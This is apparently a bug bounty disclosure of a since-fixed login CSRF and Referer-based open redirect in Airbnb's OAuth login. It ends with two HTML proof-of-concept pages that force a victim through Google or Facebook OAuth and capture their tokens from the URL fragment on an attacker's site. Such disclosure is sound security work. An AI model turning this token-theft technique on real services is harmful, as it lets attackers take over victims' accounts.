TL;DR: Login CSRF in combination with an HTTP Referer header-based open redirect in Airbnb’s OAuth login flow, could be abused to steal OAuth access tokens of all Airbnb identity providers and eventually authenticate as the victim on Airbnb’s website and mobile application. This attack did not rely on a specific OAuth identity provider app configuration flaw (e.g. wildcards in whitelisted redirect_uri URLs), which made it generic for all Airbnb’s identity providers (Facebook & Google at the time of reporting). Airbnb fixed both the login CSRF and open redirect issues and awarded a $5.000 bounty back in the summer of 2016.

OAuth token theft revisited

Most (if not all) publicly available examples of OAuth token theft attacks rely on modification of the redirect_uri parameter value in the call to an identity provider in order to steal either an authorization code or an access_token from an authenticated victim. This requires a non-exact match of redirect_uri configured values (e.g. wildcards for subdomains or paths in the URL) for the service provider’s application on the identity provider’s end. Although the attacks are similar, their associated technique and impact is different:

authorization code : Typically stolen via cross-domain leakage of the callback URL, which contains the precious authorization “code” GET parameter value that is appended to the redirect_uri URL by the identity provider upon redirection. A common example is theft via HTTP Referer header when loading cross-domain resources. Impact is typically authentication bypass on the service provider’s end, as the stolen “code” can be used to login as the victim there.

: Typically stolen via cross-domain leakage of the callback URL, which contains the precious authorization “code” GET parameter value that is appended to the redirect_uri URL by the identity provider upon redirection. A common example is theft via HTTP Referer header when loading cross-domain resources. Impact is typically authentication bypass on the service provider’s end, as the stolen “code” can be used to login as the victim there. access_token: Typically stolen via a cross-domain open redirect chain, since the access_token is communicated back via an URL’s location fragment (aka location.hash) by the identity provider, which survives cross-domain server-side redirects in all modern browsers. Impact is typically access to the victim’s identity provider with permissions of the service provider’s application there. Here’s a great example of a vulnerable Slack application on Facebook by Frans Rosén (golden oldie).

However, I made some new observations during investigation of Airbnb’s OAuth setup, namely:

Redirect_uri modification to steal authorization codes is no more . All major identity providers have implemented an extra server-side check when service providers attempt to exchange an authorization code for an access token, which ensures the redirect_uri has not been tampered with earlier (Facebook, Google). This is a good thing.

. All major identity providers have implemented an extra server-side check when service providers attempt to exchange an authorization code for an access token, which ensures the redirect_uri has not been tampered with earlier (Facebook, Google). This is a good thing. Major identity providers are not allowing wildcards in whitelisted redirect_uri lists anymore by default . They are a dying breed, mainly legacy applications are still vulnerable. This is a good thing.

. They are a dying breed, mainly legacy applications are still vulnerable. This is a good thing. Theft of access_token can also result in authentication bypass. Quite often, websites of service providers use the “authorization code” flow to perform a login, but their mobile application utilizes locally stored access_tokens of the identity providers. Simply by replacing the stored access_token on a rooted mobile phone with a stolen access_code from a victim, an attacker can authenticate as a victim on the service provider’s mobile app instead. This is not a good thing.

Airbnb case

In the case of Airbnb, no tampering of redirect_uri’s for both the Airbnb apps for Facebook and Google was allowed, only a list of localized Airbnb sites was permitted here. However, the Airbnb mobile application did use an identity provider’s long-term access_token to authenticate a user transparently under the hood, which gave us means to increase the impact to authentication bypass, in case we were able to steal an access_token.

Open redirect in OAuth endpoint

If an unauthenticated user browsed to a page on www.airbnb.com that required authentication (e.g. https://www.airbnb.com/users/edit), he/she was redirected to the login page. However, after successfully logging in, the user was automatically redirected back to the original page he/she requested initially. This functionality was implemented through Airbnb’s redirect_params controller, which was not found vulnerable for external open redirect vulnerabilities.

However, if the user was already logged in to Airbnb when returning from an identity provider, the /oauth_callback endpoint would automatically redirect the user based on the HTTP Referer header in the initiating OAuth login call to /oauth_connect. This redirect-back-after-login functionality in the OAuth flow while already being logged in was thus solely based on the HTTP Referer header, which can be controlled by an attacker by design.

The vulnerability is demonstrated in the PoC video below. First, we open two airbnb.com/login browsers. In the first, we try to reach /users/edit, which results in extra redirect_params controller GET parameters being added to our URL. After successfully logging in in the first Airbnb browser tab, we now again “Log in with Facebook” via the second browser tab. By manually changing the HTTP Referer header in the call to https://www.airbnb.cat/oauth_connect and then successfully logging in on Facebook, the user will end up on the changed Referer value’s website eventually. Important to note is that the user must be successfully logged in in order for the final redirect to proceed.

Of course, this movie only demonstrates the root cause of the vulnerability, not a practical exploitation. For that to succeed, an attacker must achieve three additional things: forge a request to the vulnerable endpoint with an arbitrary HTTP Referer header (1) while being authenticated to Airbnb (2) and get some sensitive data such as OAuth tokens in the URL (3) to effectively steal something useful. Making a request to the vulnerable endpoint with an arbitrary HTTP Referer header is quite easy: Simply embedding an external resource in a web page under the attacker’s control will make the browser send the Referer header with value this website’s page automatically.

OAuth Login CSRF & OAuth token theft

The not-so-precious-anymore OAuth authorization code value, which is communicated back in GET parameters to the Airbnb endpoint by Facebook & Google, gets lost during the redirections. However, both identity providers also offer communication of access_tokens via an URL fragment (the part after a hashtag in a URL) as opposed to URL parameters. URL fragments only exist on the client-side and are properly preserved by the browser during redirects and accessible from JavaScript, even by the last page in the redirection chain which is on a completely different origin. However, there are some additional problems:

If we want to retrieve URL fragments from the identity providers to steal later on, we must be able to modify the OAuth request call to the provider (add “token” to the response_type parameter). However, this request is sent only after the initiating call to Airbnb OAuth endpoint https://www.airbnb.cat/oauth_connect in which the open-redirect-via-HTTP-referer-header exists, which is necessary for the overall attack.

Airbnb’s callback endpoint expects an authorization code via a URL GET Parameter from the identity provider. However, when receiving a URL fragment instead, it will consider the authentication attempt invalid and hence not perform the final redirect, since we are not logged in.

These two issues were both solved by exploiting a Login CSRF vulnerability via the same OAuth endpoint, as an OAuth login is initiated via a forgeable GET call to https://www.airbnb.cat/oauth_connect. An attacker first transparently logs in his/her victim unknowingly to their own Airbnb account via an identity provider, hereby planting the redirection seed via the HTTP Referer header. Now the victim is authenticated to Airbnb. Note that there was proper OAuth CSRF protection in place (“state” parameter), but since we are authenticating the victim into his/her own account, this does not prevent anything here.

What is peculiar is that any additional OAuth authentication flow that follows will follow exactly the same path, regardless of whether it was successful or not! Now, when the attacker again forces the victim to make an additional Login via Facebook/Google but with response_type code,token as opposed to the normal code, the redirection flow of earlier will still work. Concretely, since we are still logged in, a redirect to the arbitrary HTTP Referer header’s value planted earlier will occur, this time with the URL fragments containing the victim’s identity provider OAuth tokens.

Two PoCs were designed, one for each identity provider. The idea is exactly the same:

Victim is authenticated to Facebook/Google in browser tab and has an Airbnb account linked to them, but is not necessarily logged in to Airbnb. Victim opens a website under the attacker’s control (https://www.arneswinnen.net/airbnb.com.<IDP>.html in the POC video) The attacker’s website will first unknowingly login the victim to Airbnb. In order not to interfere with potentially existing Airbnb sessions (in case the victim is currently browsing Airbnb), we chose to use the www.airbnb.cat localized domain in this PoC. By performing this login CSRF from the attacker’s owned website, the HTTP Referer header in the request to the Airbnb OAuth login endpoint will hold the value of the attacker’s website, hereby planting the seed. Once the victim is unknowingly logged in to www.airbnb.cat, the attacker now makes another Airbnb OAuth authentication request on behalf of the victim. However, this time the request is directly made to Facebook/Google (2nd step in normal OAuth flow), hereby allowing the attacker to set the response_type of the token to “code,token” (URL Fragments) as opposed to “code” (URL Parameters). Note that we keep the exact same value for the redirect_uri parameter. Since the victim is currently logged in and the previously injected redirect to https://www.arneswinnen.net/airbnb.com.<IDP>.html is still valid, the OAuth tokens in the URL Fragments of the IDP response will end up on the attacker’s website. Here, a simple JavaScript statement can read the URL Fragment in the browser, and effectively steal the OAuth values for both “code” and “token”.

An attacker now gained two things:

“code” OAuth token, which can be used to authenticate to airbnb.com as the victim. This is because the redirect_uri has not been changed during our attack, we only changed the communication of it from a GET parameter to an URL fragment (see step 4).

“access_token” OAuth token, which can be used to query information of the victim at the Identity Provider and authenticate as the victim user on the Airbnb mobile application.

Below you can find the source code of both HTML files hosted on https://www.arneswinnen.net during the PoC – they have been removed now.

airbnb.com.gmail.html 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <!DOCTYPE html> <html> <body> <script> if ( window . location . hash ) { alert ( window . location . hash ) window . stop ( ) // Fragment exists } </script> <object id = loginpage data = "https://www.airbnb.cat/login/" onload = "alert('Login page loaded. Now attempting login'); document.getElementById('googlepage').setAttribute('data', 'https://www.airbnb.cat/oauth_connect?from=google_login&service=google');" > </object> <object id = googlepage width = "400" height = "50" onload = "alert('Logged in & Referer header set. Now redirecting to steal the token!'); window.location = 'https://accounts.google.com/o/oauth2/auth?response_type=code,token&access_type=offline&client_id=622686756548-j87bjniqthcq1e4hbf1msh3fikqn892p.apps.googleusercontent.com&state=WCTSVKIWPIXNFWEBRUIBNBJGJPYIJN&scope=profile+email&redirect_uri=https%3A%2F%2Fwww.airbnb.cat%2Foauth_callback';" > </object> </body> </html>

airbnb.com.facebook.html 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <!DOCTYPE html> <html> <body> <script> if ( window . location . hash ) { alert ( window . location . hash ) window . stop ( ) } </script> <object id = loginpage data = "https://www.airbnb.cat/login/" onload = "alert('Login page loaded. Now attempting login'); document.getElementById('googlepage').setAttribute('data', 'https://www.airbnb.cat/oauth_connect?from=facebook_login&service=facebook');" > </object> <object id = googlepage width = "400" height = "50" onload = "alert('Logged in & Referer header set. Now redirecting to steal the token!'); window.location = 'https://www.facebook.com/dialog/oauth?response_type=code,token&client_id=138566025676&state=EQITJNHFHJYYDTBPYSQWSAFDLXHGLR&scope=email+user_birthday+user_likes+user_education_history+user_hometown+user_location+user_friends&redirect_uri=https%3A%2F%2Fwww.airbnb.cat%2Foauth_callback';" > </object> </body> </html>

Timeline